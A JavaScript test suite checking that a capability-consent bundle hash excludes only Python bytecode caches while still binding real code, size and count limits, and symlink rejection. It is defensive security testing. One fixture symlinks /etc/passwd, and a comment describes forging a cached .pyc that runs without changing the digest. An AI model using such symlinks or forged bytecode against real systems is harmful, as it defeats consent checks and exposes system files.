// #3631: bundleContentHash excludes Python bytecode-cache noise from the DIGEST, so that
|
|
// running a Python-backed capability's own test suite — which writes __pycache__ inside
|
|
// the bundle — does not flip the recomputed hash and silently deactivate consent.
|
|
//
|
|
// The exclusion is deliberately NARROW, because this digest is a consent binding and every
|
|
// excluded byte is a byte that can change post-consent without detection:
|
|
// - a DIRECTORY named __pycache__ / .pytest_cache has only its TAG_DIR marker suppressed;
|
|
// the walk STILL RECURSES and hashes every non-excluded child (so __pycache__/run.js
|
|
// stays bound). Skipping recursion would make it a permanently unhashed region that a
|
|
// declared hook script could point into.
|
|
// - a FILE ending .pyc/.pyo is excluded ONLY when its parent basename is exactly
|
|
// __pycache__. Elsewhere it stays bound: a legacy sourceless .pyc IS importable.
|
|
// - a regular FILE named __pycache__, and a DIRECTORY named x.pyc, are ordinary content
|
|
// and stay bound — marker suppression is directory-only, the suffix rule file-only.
|
|
// Exclusion applies AFTER the lstat/symlink fail-closed rejection, and excluded entries
|
|
// still count toward BUNDLE_MAX_FILES / BUNDLE_MAX_TOTAL_BYTES.
|
|
//
|
|
// Deliberately NOT excluded: node_modules, dist, build — their contents ARE executed, so
|
|
// excluding them would break the consent binding for real executable surfaces.
|
|
// ACCEPTED RESIDUAL RISK (see the ADR-2363 amendment): CPython's default timestamp
|
|
// invalidation checks a cached pyc only against its source's mtime+size, both forgeable by
|
|
// anyone who can already write to the bundle — so a forged __pycache__/mod.pyc matching an
|
|
// unmodified mod.py executes without moving the digest. Accepted knowingly; NOT excused by
|
|
// any claim that CPython validates bytecode against source content (it does not).
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('#3631: an EMPTY __pycache__/ directory does not change the bundle hash', (t) => {
|
|
// This is the TAG_DIR-marker trigger: collectBundleEntries pushes a {kind:'dir'} entry for EVERY
|
|
// directory (including empty ones) and bundleContentHash emits a TAG_DIR marker for it. A fix that
|
|
// only filters *.pyc file CONTENT and still emits the DIR marker for an empty __pycache__/ leaves
|
|
// this red — the exclusion must be by basename, applied to the dir entry itself, not just its files.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, '__pycache__'), { recursive: true }); // EMPTY — no .pyc inside yet
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.strictEqual(after, before, 'an empty __pycache__ directory must not change the hash');
|
|
});
|
|
|
|
test('#3631: hooks/__pycache__/check.cpython-313.pyc does not change the hash', (t) => {
|
|
const dir = makeBundle({ manifest: { id: 'cap', role: 'feature', version: '1.0.0', hooks: [{ event: 'PostToolUse', script: 'hooks/check.js' }] }, script: 'console.log(1)' });
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, 'hooks', '__pycache__'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, 'hooks', '__pycache__', 'check.cpython-313.pyc'), Buffer.from([5, 6, 7]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.strictEqual(after, before, '__pycache__ nested under hooks/ must not change the hash');
|
|
});
|
|
|
|
test('#3631: __pycache__ under an existing tests/ dir does not change the hash (isolated from the tests/-dir-creation variable)', (t) => {
|
|
// Creating the NEW tests/ dir itself legitimately changes the hash (it is not excluded), so tests/ is
|
|
// pre-created WITH a real file BEFORE the baseline snapshot — only the __pycache__ add is under test.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
fs.mkdirSync(path.join(dir, 'tests'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, 'tests', 'test_x.py'), 'def test_x():\n assert True\n', 'utf8');
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, 'tests', '__pycache__'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, 'tests', '__pycache__', 'test_x.pyc'), Buffer.from([1, 2, 3]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.strictEqual(after, before, '__pycache__ under an already-present tests/ dir must not change the hash');
|
|
});
|
|
|
|
test('#3631 (post-hardening): .pytest_cache/CACHEDIR.TAG DOES change the hash — only the dir MARKER is suppressed', (t) => {
|
|
// Hardened semantics: exclusion suppresses the TAG_DIR marker for a __pycache__/.pytest_cache
|
|
// directory, but the walk still RECURSES into it and hashes every non-excluded child. Suppressing
|
|
// the whole subtree would create an unhashed region a declared surface could point into (the HIGH
|
|
// finding closed below) — this is a deliberate, documented limitation, not a gap.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, '.pytest_cache'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, '.pytest_cache', 'CACHEDIR.TAG'), 'Signature: 8a477f597d28d172789f06886806bc55\n', 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, '.pytest_cache/CACHEDIR.TAG content is still bound to the hash even though the dir marker is suppressed');
|
|
});
|
|
|
|
test('#3631 (post-hardening): .DS_Store at the bundle root DOES change the hash — deliberately NOT excluded', (t) => {
|
|
// .DS_Store is deliberately NOT on the exclusion list. Excluding a filename means a permanently
|
|
// unhashed name that a declared hook `script` could point into (e.g. `hooks/.DS_Store`, which the
|
|
// validator's __pycache__/.pytest_cache/.pyc/.pyo rejection does not cover), and it is unrelated to
|
|
// #3631's reported symptom (Python bytecode caching from a test run). Stays bound like any other file.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, '.DS_Store'), Buffer.from([0, 0, 0, 1, 2, 3]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, '.DS_Store must still change the hash — it is not excluded');
|
|
});
|
|
|
|
test('#3631 (post-hardening): a REGULAR FILE literally named __pycache__ at the bundle root DOES change the hash', (t) => {
|
|
// Marker suppression applies to DIRECTORIES only. A file wearing the __pycache__ name is ordinary
|
|
// content — the walk must still bind it, and must not choke on the kind mismatch.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, '__pycache__'), 'not actually a directory', 'utf8');
|
|
let after;
|
|
assert.doesNotThrow(() => { after = consent.bundleContentHash(dir); }, 'a file named __pycache__ must not throw');
|
|
assert.notStrictEqual(after, before, 'a regular FILE named __pycache__ is ordinary content and must change the hash');
|
|
});
|
|
|
|
test('#3631 (post-hardening): stray.pyc at the bundle ROOT (not under any __pycache__) DOES change the hash', (t) => {
|
|
// A legacy sourceless .pyc outside __pycache__ IS importable by CPython, so it must stay bound to
|
|
// the digest. Only __pycache__-resident bytecode (whose parent dir basename is exactly
|
|
// __pycache__) is excluded by suffix; a stray .pyc elsewhere is hashed like any other file.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, 'stray.pyc'), Buffer.from([9, 9, 9]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'a root-level .pyc file (not under __pycache__) must still change the hash — it is legacy-importable content');
|
|
});
|
|
|
|
test('#3631: a bundle whose ONLY added content is __pycache__/mod.pyc hashes IDENTICALLY to before that dir existed, and does not throw', (t) => {
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, '__pycache__'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, '__pycache__', 'mod.pyc'), Buffer.from([1, 2, 3, 4]));
|
|
let after;
|
|
assert.doesNotThrow(() => { after = consent.bundleContentHash(dir); }, 'adding only __pycache__/mod.pyc must not throw');
|
|
assert.strictEqual(after, before, 'adding only __pycache__/mod.pyc must be a full no-op on the digest');
|
|
});
|
|
|
|
test('#3631 (GREEN — must stay green: anti-regression control): modifying a REAL source file still changes the hash', (t) => {
|
|
// Proves the fix NARROWS the hash rather than gutting it — an actual code-content edit must still be
|
|
// observable to the binding once the __pycache__/.pyc noise is excluded.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
fs.mkdirSync(path.join(dir, 'scripts'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, 'scripts', 'm.py'), 'print("v1")\n', 'utf8');
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, 'scripts', 'm.py'), 'print("v2")\n', 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'a real source-file content edit must still change the hash');
|
|
});
|
|
|
|
test('#3631 (GREEN — must stay green): adding node_modules/pkg/index.js changes the hash (node_modules is deliberately NOT excluded)', (t) => {
|
|
// node_modules holds code that is actually executed/required at runtime — excluding it would break the
|
|
// consent binding for real executable content. Only __pycache__/.pytest_cache/*.pyc/*.pyo (the latter
|
|
// two only when nested directly under __pycache__) are excluded; node_modules, dist, and build are NOT
|
|
// on that list and must keep binding the hash.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, 'node_modules', 'pkg'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, 'node_modules', 'pkg', 'index.js'), 'module.exports = 1;\n', 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'node_modules content must still bind the hash');
|
|
});
|
|
|
|
test('#3631 (GREEN — must stay green, boundary): excluded .pyc entries still count toward BUNDLE_MAX_FILES (limit-1 / limit / limit+1)', (t) => {
|
|
// The digest excludes __pycache__/*.pyc CONTENT, but the walk's entry-count cap must still see every
|
|
// entry (excluded or not) BEFORE exclusion is applied — the caps guard the walk itself (DoS/memory
|
|
// bound), the digest answers a separate question. Padding must be GENUINELY excluded to prove that
|
|
// property: a ROOT-level f{i}.pyc is NOT excluded (its parent is not __pycache__ — see the sibling
|
|
// "stray.pyc at the bundle ROOT" test above), so it would prove nothing about excluded entries. The
|
|
// padding here lives under __pycache__/f{i}.pyc, which the digest never binds, while the count cap
|
|
// still sees it. The real cap is BUNDLE_MAX_FILES (default BUNDLE_MAX_FILES_DEFAULT = 100_000 in
|
|
// src/capability-consent.cts:117) — too large to materialize cheaply in a test, so this drives the
|
|
// exported `_setBundleMaxFilesForTest` seam (the same seam the existing "finding 2" cap tests above
|
|
// use) down to a small CAP and proves the exact boundary.
|
|
//
|
|
// Entry arithmetic (confirmed by executing the built lib, not by reasoning): a bundle built from
|
|
// capability.json + an empty __pycache__/ dir + N excluded .pyc files inside it has
|
|
// 1 [capability.json] + 1 [the __pycache__ DIRECTORY dirent itself — its marker is suppressed but the
|
|
// walk still counts the dirent and still recurses] + N [f{i}.pyc files] = N + 2 total entries.
|
|
const CAP = 5;
|
|
const restore = consent._setBundleMaxFilesForTest(CAP);
|
|
t.after(restore);
|
|
|
|
const build = (pycCount) => {
|
|
const bdir = makeBundle({});
|
|
fs.mkdirSync(path.join(bdir, '__pycache__'), { recursive: true });
|
|
for (let i = 0; i < pycCount; i++) {
|
|
fs.writeFileSync(path.join(bdir, '__pycache__', `f${i}.pyc`), Buffer.from([i]));
|
|
}
|
|
return bdir;
|
|
};
|
|
|
|
const dirBelow = build(CAP - 3); // total entries = 1 + 1 + (CAP-3) = CAP-1
|
|
t.after(() => cleanup(dirBelow));
|
|
assert.doesNotThrow(() => consent.bundleContentHash(dirBelow), 'limit-1 total entries (capability.json + __pycache__ dir + genuinely-excluded .pyc padding) must not throw');
|
|
|
|
const dirAt = build(CAP - 2); // total entries = 1 + 1 + (CAP-2) = CAP
|
|
t.after(() => cleanup(dirAt));
|
|
assert.doesNotThrow(() => consent.bundleContentHash(dirAt), 'exactly-limit total entries (capability.json + __pycache__ dir + genuinely-excluded .pyc padding) must not throw');
|
|
|
|
const dirOver = build(CAP - 1); // total entries = 1 + 1 + (CAP-1) = CAP+1
|
|
t.after(() => cleanup(dirOver));
|
|
assert.throws(
|
|
() => consent.bundleContentHash(dirOver),
|
|
/exceeds|refusing/i,
|
|
'limit+1 total entries must still throw even though every .pyc padding entry is excluded from the digest — caps guard the WALK, not the digest',
|
|
);
|
|
});
|
|
|
|
test('#3631 (GREEN — must stay green, boundary): an EXCLUDED __pycache__/*.pyc file still trips BUNDLE_MAX_TOTAL_BYTES', (t) => {
|
|
// Exclusion answers "does this bind the digest?", never "is this safe to read unbounded?" — an
|
|
// excluded file's bytes must still count toward BUNDLE_MAX_TOTAL_BYTES (src/capability-consent.cts:105,
|
|
// 16 MiB), or exclusion becomes an unbounded-bytes DoS hole. Uses a SPARSE file (fs.truncateSync) well
|
|
// beyond any plausible cap so the assertion never hardcodes the exact byte constant — it costs no real
|
|
// disk or CPU time (no 32 MiB buffer is ever written).
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
fs.mkdirSync(path.join(dir, '__pycache__'), { recursive: true });
|
|
const bigPath = path.join(dir, '__pycache__', 'big.pyc');
|
|
fs.writeFileSync(bigPath, Buffer.alloc(0));
|
|
fs.truncateSync(bigPath, 32 * 1024 * 1024); // sparse — well past the 16 MiB cap, no real bytes written
|
|
assert.throws(
|
|
() => consent.bundleContentHash(dir),
|
|
/bundle size exceeds \d+ bytes \(refusing\)/,
|
|
'an EXCLUDED __pycache__/*.pyc file must still trip BUNDLE_MAX_TOTAL_BYTES even though its content never reaches the digest',
|
|
);
|
|
});
|
|
|
|
test('#3631 (security pin — parent-threading precision): __pycache__/sub/x.pyc stays HASHED — its parent is "sub", not "__pycache__"', (t) => {
|
|
// The single most valuable missing pin (isolated review finding): the .pyc/.pyo suffix exclusion is
|
|
// gated on the IMMEDIATE parent directory basename, threaded down one level at a time through the
|
|
// recursive walk. A .pyc two levels under __pycache__ must NOT be excluded — only a .pyc whose direct
|
|
// parent is __pycache__ itself is.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, '__pycache__', 'sub'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, '__pycache__', 'sub', 'x.pyc'), Buffer.from([1, 2, 3]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, '__pycache__/sub/x.pyc must still change the hash — its parent basename is "sub", not "__pycache__"');
|
|
});
|
|
|
|
test('#3631 (security pin): .pytest_cache/y.pyc stays HASHED — the .pyc suffix rule never gates on .pytest_cache', (t) => {
|
|
// The PYCACHE_PARENT_BASENAME gate for the .pyc/.pyo suffix rule is exactly "__pycache__", never
|
|
// ".pytest_cache" — a .pyc sitting directly inside a .pytest_cache dir is ordinary content.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
fs.mkdirSync(path.join(dir, '.pytest_cache'), { recursive: true });
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, '.pytest_cache', 'y.pyc'), Buffer.from([1, 2, 3]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, '.pytest_cache/y.pyc must still change the hash — the .pyc suffix rule only ever gates on a __pycache__ parent');
|
|
});
|
|
|
|
test('#3631 (security pin — closes the untested .pyo mutant): __pycache__/m.pyo is excluded exactly like a .pyc sibling', (t) => {
|
|
// .pyo is on PYCACHE_FILE_SUFFIXES alongside .pyc but was never independently exercised anywhere in
|
|
// the suite — a surviving mutant could delete the ".pyo" entry with nothing failing. Pins both halves:
|
|
// excluded under __pycache__/, and still bound everywhere else.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
fs.mkdirSync(path.join(dir, '__pycache__'), { recursive: true });
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, '__pycache__', 'm.pyo'), Buffer.from([1, 2, 3]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.strictEqual(after, before, '__pycache__/m.pyo must be excluded from the digest exactly like __pycache__/m.pyc');
|
|
});
|
|
|
|
test('#3631 (security pin — closes the untested .pyo mutant): a root-level m.pyo DOES change the hash', (t) => {
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, 'm.pyo'), Buffer.from([1, 2, 3]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'a root-level m.pyo (not under __pycache__) must still change the hash — it is legacy-importable content, same as a stray .pyc');
|
|
});
|
|
|
|
test('#3631 (GREEN — already passes today, pins ordering post-fix): a SYMLINK named x.pyc still makes bundleContentHash THROW (fail-closed)', { skip: process.platform === 'win32' }, (t) => {
|
|
// Pins that the exclusion match must be applied AFTER the existing lstat/symlink rejection, never
|
|
// before — a symlinked *.pyc is exactly the shape a naive "skip by suffix before lstat" fix would
|
|
// silently pass through instead of rejecting.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
fs.symlinkSync('/etc/passwd', path.join(dir, 'x.pyc'));
|
|
assert.throws(() => consent.bundleContentHash(dir), /symlink/i, 'a symlinked *.pyc must still be rejected fail-closed');
|
|
});
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// #3631 hardening — security regression pins. Two independent reviews found holes in the original
|
|
// exclusion: (HIGH) suppressing recursion into an excluded dir left it a permanently-unhashed region a
|
|
// declared surface could point into, and (the sourceless-legacy-.pyc vector) a bare .pyc anywhere was
|
|
// excluded by suffix alone even though CPython can import a sourceless .pyc outside __pycache__. Both
|
|
// holes are now closed: marker suppression is directory-only and never stops recursion, and the .pyc/
|
|
// .pyo suffix exclusion applies ONLY when the parent directory basename is exactly __pycache__.
|
|
// ---------------------------------------------------------------------------
|
|
|
|
test('#3631 (security pin — closes HIGH: excluded-dir recursion skip): __pycache__/run.js DOES change the hash', (t) => {
|
|
// Pins the HIGH finding: skipping recursion into __pycache__ made it a permanently-unhashed region
|
|
// that a declared hook script could point into. A non-.pyc file inside __pycache__ must still bind.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, '__pycache__'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, '__pycache__', 'run.js'), 'module.exports = 1;\n', 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'a non-.pyc file inside __pycache__ must still change the hash');
|
|
});
|
|
|
|
test('#3631 (security pin — closes sourceless-legacy-.pyc vector): scripts/x.pyc DOES change the hash', (t) => {
|
|
// A .pyc whose parent is NOT __pycache__ is a legacy sourceless bytecode file CPython can still
|
|
// import directly — it must stay bound to the digest, regardless of how deep it is nested.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
fs.mkdirSync(path.join(dir, 'scripts'), { recursive: true });
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.writeFileSync(path.join(dir, 'scripts', 'x.pyc'), Buffer.from([1, 2, 3]));
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'scripts/x.pyc (parent is not __pycache__) must still change the hash');
|
|
});
|
|
|
|
test('#3631 (security pin — suffix rule is file-only): a DIRECTORY named cache.pyc/ containing inner.js DOES change the hash', (t) => {
|
|
// Pins that the .pyc/.pyo suffix rule never applies to directories — a directory literally named
|
|
// cache.pyc gets no marker suppression and no exclusion; its contents bind normally.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, 'cache.pyc'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, 'cache.pyc', 'inner.js'), 'module.exports = 1;\n', 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'a directory named cache.pyc must be hashed normally (marker + recursion), not excluded');
|
|
});
|
|
|
|
test('#3631 (security pin — recursion is unbounded depth): __pycache__/sub/deep.js DOES change the hash', (t) => {
|
|
// Proves recursion into an excluded dir goes all the way down, not just one level — a nested
|
|
// non-.pyc file several directories under __pycache__ must still bind.
|
|
const dir = makeBundle({});
|
|
t.after(() => cleanup(dir));
|
|
const before = consent.bundleContentHash(dir);
|
|
fs.mkdirSync(path.join(dir, '__pycache__', 'sub'), { recursive: true });
|
|
fs.writeFileSync(path.join(dir, '__pycache__', 'sub', 'deep.js'), 'module.exports = 1;\n', 'utf8');
|
|
const after = consent.bundleContentHash(dir);
|
|
assert.notStrictEqual(after, before, 'a nested non-.pyc file under __pycache__ must still change the hash, at any depth');
|
|
});
|
|
|
|
void crypto; // reserved import; keep explicit.
|